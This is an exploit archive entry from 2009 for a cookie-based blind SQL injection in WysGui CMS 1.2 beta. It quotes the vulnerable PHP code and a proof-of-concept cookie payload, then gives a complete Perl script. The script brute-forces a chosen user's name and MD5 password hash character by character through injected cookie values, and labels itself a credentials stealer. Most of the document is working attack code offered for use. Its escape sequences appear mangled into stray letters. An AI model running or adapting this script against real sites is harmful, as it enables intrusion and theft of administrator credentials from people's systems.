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# Title : WysGui CMS 1.2b (Insecure Cookie Handling) Blind SQL Injection Exploit
# Published : 2009-04-20
# Author : YEnH4ckEr
# Previous Title : Pligg 9.9.0 (editlink.php id) Blind SQL Injection Exploit
# Next Title : WB News 2.1.2 Insecure Cookie Handling Vulnerability
#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#** **
#** **
#** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] **
#** || || || [] [][] [] [] [] [] [] [] [] [] [] [] **
# [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] **
#** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---
#**==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>--
#** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/
# [> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] []
#** **
#** **
#** ??VIVA SPAIN!...??GANAREMOS EL MUNDIAL!...o.O **
#** ??PROUD TO BE SPANISH! **
#** **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#| (Insecure cookie handling) BLIND SQL INJECTION |
#|--------------------------------------------------------------------------------------------|
#| | WysGui CMS 1.2 BETA | |
#| CMS INFORMATION: --------------------- |
#| |
#|-->WEB: http://wysgui.com/ |
#|-->DOWNLOAD: http://sourceforge.net/projects/wysgui/ |
#|-->DEMO: http://wysgui.com/demo/ |
#|-->CATEGORY: CMS / Portals |
#|-->DESCRIPTION: WysGui comes from two technical words: WYSIWYG and GUI.WYSIWYG, |
#| (pronounced, Wizzy-Wig),tands for What You See Is What You Get... |
#| |
#| CMS VULNERABILITY: |
#| |
#|-->TESTED ON: firefox 3 |
#|-->DORK: N/A |
#|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT |
#|-->AFFECT VERSION: LAST = 1.2 BETA (Maybe <= ?) |
#|-->Discovered Bug date: 2009-04-20 |
#|-->Reported Bug date: 2009-04-20 |
#|-->Fixed bug date: Not fixed |
#|-->Info patch (????): Not fixed |
#|-->Author: YEnH4ckEr |
#|-->mail: y3nh4ck3r[at]gmail[dot]com |
#|-->WEB/BLOG: N/A |
#|-->COMMENT: A mi novia Marijose...hermano,cunailla, padres (y amigos xD) por su apoyo. |
#----------------------------------------------------------------------------------------------
#
#-----------
#BUG FILE:
#-----------
#
#Path --> [HOME_PATH]/modules/body_mods/admin_panel/settings.php
#
#It contents(???...LooooL)
#
#<?php
#//loading data for site tree.
#if(strlen($_COOKIE['admin_pages']))
#{
# $admin_pages = explode(',',$_COOKIE['admin_pages']); <--------VULN--------|
#}
#else
#{
# $admin_pages = array(
# 'addPage',
# 'Edit Page',
# 'Delete Page',
# ...);
#}
#?>
#
#Then...
#
#Path --> [HOME_PATH]/modules/body_mods/admin_panel/settings.php
#
#It contents:
# ...
#
# if( $i>1 ){
# $order.= ' `page` = "'.$admin_pages[$i].'",';
# }
# ...
#
# $allPages_select = 'SELECT * FROM `pagedata`
# WHERE '.$where.' <--------VULN--------|
# ORDER BY '.$order;
# $allPages_query = mysql_query($allPages_select) or die($allPages_select);
# while($allPages_row = mysql_fetch_array($allPages_query))
# {...}
#------------
#CONDITIONS:
#------------
#
#**gpc_magic_quotes=off
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#COOKIE --> admin_pages=about" AND 1=1 /*
#
#Return: about.php
#
#*******************************************************************
# ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!
#*******************************************************************
#-------------------------------------------------------------------
#*******************************************************************
# GREETZ TO: JosS and all SPANISH Hack3Rs community!
#*******************************************************************
#
#-------------------EOF---------------------------------->>>ENJOY IT!
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title WysGui CMS 1.2 BETA (Insecure Cookie Handling) BLIND SQL Injection Exploit");
system ("color 02");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $request = HTTP::Request -> new(GET => $_[1]);
$request->header(cookie => $_[0]);
my $outcode= $userag->request($request)->as_string;
return $outcode;
}
sub helper {
print "nt[XxX] WysGui CMS 1.2 BETA - BLIND SQL Injection Exploitn";
print "t[XxX] USAGE MODE: [XxX]n";
print "t[XxX] perl $0 [HOST] [PATH] [id]n";
print "t[XxX] [HOST]: Web.n";
print "t[XxX] [PATH]: Home Path.n";
print "t[XxX] [id]: Id user. Default: 1 (**optional)n";
print "t[XxX] Example: perl $0 'www.example.es' 'wysgui_1.2' '1'n";
}
sub lengthuser{
#First, user length...
$exit=0;
$i=0;
while($exit==0){
my $insec_cookie='admin_pages=about" AND (SELECT length(user) from users WHERE ID='.$_[1].')='.$i++.' /*';
$output=&request($insec_cookie,$_[0]);
if ( $output =~ (/about.ico/))
{
$exit=1;
}
}
#Save column length
$lengthuser=$i-1;
print "t-----------------------------------------------------------------n";
print "tUser Length catched!n";
print "tUser Length: ".$lengthuser."n";
print "tBruteforcing values...n";
print "t-----------------------------------------------------------------n";
return $lengthuser;
}
sub bruteforcing {
#Getting datas
$j=1;
$i=48;
while(($j<=$_[2]) && ($i<=126)){
my $insec_cookie='admin_pages=about" AND ascii(substring((SELECT '.$_[3].' FROM users WHERE ID='.$_[1].') FROM '.$j.' FOR 1))='.$i.' /*';
$output=&request($insec_cookie,$_[0]);
if ( $output =~ (/about.ico/))
{
$values=$values.chr($i);
$j++;
$i=47;
}
if($i==57)
{
$i=96;
}
#new char
$i++;
}
#Error
if(($i>127) || ($j>$_[2])){
if(!$values){
print "t-----------------------------------------------------------------n";
print "tEXPLOIT FAILED!n";
print "tFatal error: Datas doesn't find!n";
print "tCause: Maybe you have to include more characters on bruteforcing...n";
print "t-----------------------------------------------------------------n";
exit(1);
}
}
return $values;
}
#Main
&lw;
print "tt#########################################################nn";
print "tt#########################################################nn";
print "tt## WysGui CMS 1.2 BETA - BLIND SQL Injection Exploit ##nn";
print "tt## ++Conditions: Need magic_quotes=off ##nn";
print "tt## Author: Y3nh4ck3r ##nn";
print "tt## Contact:y3nh4ck3r[at]gmail[dot]com ##nn";
print "tt## Proud to be Spanish! ##nn";
print "tt#########################################################nn";
print "tt#########################################################nn";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
#Build the uri
my $finalhost="http://".$host."/".$path."/admin.php";
#Check all variables needed
$numArgs = $#ARGV + 1;
if($numArgs<=1)
{
&helper;
exit(1);
}
#Id-user is optional.Default:1
if(!$ARGV[2]){
$idhacked="1";
}else{
$idhacked=$ARGV[2];
}
#Testing blind sql injection
my $finalrequest = $finalhost;
#Test blind sql injection
my $insec_cookie='admin_pages=about" AND 1=1 /*'; #injected cookie
$output=&request($insec_cookie,$finalrequest);
if ( $output =~ (/about.ico/))
{
print "t-----------------------------------------------------------------n";
print "tWeb is vulnerable!n";
print "tTested Blind SQL Injection.n";
print "tChecking id user...n";
print "t-----------------------------------------------------------------n";
}else{
print "t-----------------------------------------------------------------n";
print "tThis Web is not vulnerable!n";
print "tMaybe patched or gpc_magic_quotes=offn";
print "tEXPLOIT FAILED!n";
print "t-----------------------------------------------------------------n";
exit(1);
}
#Test if user exists
my $insec_cookie='admin_pages=about" AND (SELECT COUNT(*) from users WHERE ID='.$idhacked.') /*'; #injected cookie
$output=&request($insec_cookie,$finalrequest);
if ( $output =~ (/about.ico/))
{
print "t-----------------------------------------------------------------n";
print "tOK...The user exists!n";
print "tStarting exploit...n";
print "t-----------------------------------------------------------------n";
print "tWait several minutes...n";
print "t-----------------------------------------------------------------n";
}else{
print "t-----------------------------------------------------------------n";
print "tUser doesn't exists!n";
print "tEXPLOIT FAILED!n";
print "t-----------------------------------------------------------------n";
exit(1); }
#Bruteforcing user...
$length_user=&lengthuser($finalrequest,$idhacked);
$user=&bruteforcing($finalrequest,$idhacked,$length_user,'user');
print "t-----------------------------------------------------------------n";
print "tGot user!n";
print "tBruteforcing password hash (md5)...n";
print "t-----------------------------------------------------------------n";
$passhash=&bruteforcing($finalrequest,$idhacked,32,'pass'); #it isn't needed length
print "ntt*************************************************n";
print "tt**** EXPLOIT EXECUTED (CREDENTIALS STEALER) ****n";
print "tt*************************************************nn";
print "ttUser-id:".$idhacked."n";
print "ttUser:".$user."n";
print "ttUser-password(hash):".$passhash."nn";
print "ntt<<----------------------FINISH!-------------------->>nn";
print "tt<<---------------Thanks to: y3hn4ck3r-------------->>nn";
print "tt<<------------------------EOF---------------------->>nn";
exit(1);
#Ok...all job done
# www.Syue.com [2009-04-20]